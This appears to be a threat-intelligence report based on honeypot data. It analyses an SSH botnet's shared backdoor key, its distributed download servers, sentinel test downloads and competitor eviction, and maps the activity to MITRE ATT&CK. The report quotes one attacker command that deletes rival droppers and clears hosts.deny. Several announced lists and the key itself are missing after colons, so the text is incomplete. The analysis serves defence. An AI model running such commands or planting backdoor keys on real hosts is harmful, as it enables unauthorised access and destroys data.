🔑 Part II — One Key, Fifty-Six Doors

The SSH public key planted via authorized_keys is identical across every node in Family 1:

This is a 2048-bit RSA key. The corresponding private key is held by the operator. With this key, the operator can SSH into any of the 56 compromised machines at any time, without a password, without triggering authentication logs that would show a password attempt.

This key was previously documented in TI-2026-008 — The Backdoor-Key Harvester, published months earlier as part of the Outlaw/Shellbot coordinated campaign analysis. The match means one of two things:

Scenario A is overwhelmingly more likely. An SSH backdoor key is the most sensitive operational asset an attacker possesses — sharing it means sharing access to every compromised host. No rational operator shares their backdoor key. The key is the operator's identity.

⚡ Part III — The Second Family

Family 2 (hash 63ad4ae2, 7 IPs) operates a fundamentally different protocol. Where Family 1 profiles and persists, Family 2 tests and deploys:

The critical difference: each Family 2 IP downloads from a different C2 address.

Distributed C2 is more sophisticated than Family 1's approach. If one download server is taken down, the others continue. Each compromised host is an independent supply chain — the malware source is not centralized.

🌉 Part IV — The Bridge

One IP sits at the intersection of everything: 45.172.152.74 (Dominican Republic, AS27847).

The bridge IP validates the thesis from Letter A: the three libssh versions are not three botnets. They are version upgrades of one operation. The bridge proves it — the same node, the same commands, two library versions.

🗡️ Part V — The Sentinel

Both command families use sentinel downloads — test files downloaded before real malware to verify the download pipeline works.

Family 1 downloads two sentinels:

SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b is the hash of a file containing exactly one newline character. We verified this independently. The same sentinel appears in all three countries where Family 1 was observed. It is the download equivalent of "Can you hear me now?" — a handshake before the payload.

This sentinel behavior was first documented in TI-2026-009, where it was described as "SHA-256(Hello World!\n)" — the operator verifying the download primitive before the malware-delivery phase. The fact that we see it again, months later, on a larger swarm, means the technique persists across operational generations.

⚔️ Part VI — The War for the Machine

Phase 3 of the 19-command protocol — competitor eviction — reveals something the rest of the commands conceal: these targets are already compromised.

The command rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; [clear hosts.deny] removes two specific competing malware droppers and clears the IP ban file. This is not precaution. This is experience. The operator has encountered these competitors before. They know their file names. They know where they live.

🗺️ Part VII — MITRE ATT&CK Mapping

The 19-command protocol maps cleanly to five MITRE ATT&CK techniques:

Five techniques in 19 lines. A complete intrusion lifecycle compressed to under one kilobyte of shell script. This is not an attacker learning on the job. This is a compiled protocol, tested, refined, and deployed identically across 56 nodes on three continents.

🔗 Related & Coming Next

Sources: Cowrie honeypot · entity_links (shares_commands) · AbuseIPDB · Shodan · MITRE ATT&CK · TI-2026-008 · TI-2026-009 · TI-2026-048A
Investigation: TI-2026-049B · 8 evidence · 3 actors · 6 findings · 6 connections · 6 infrastructure
Confidence: HIGH — direct honeypot observation + cross-dossier SSH key match + entity link correlation
Classification: TLP:WHITE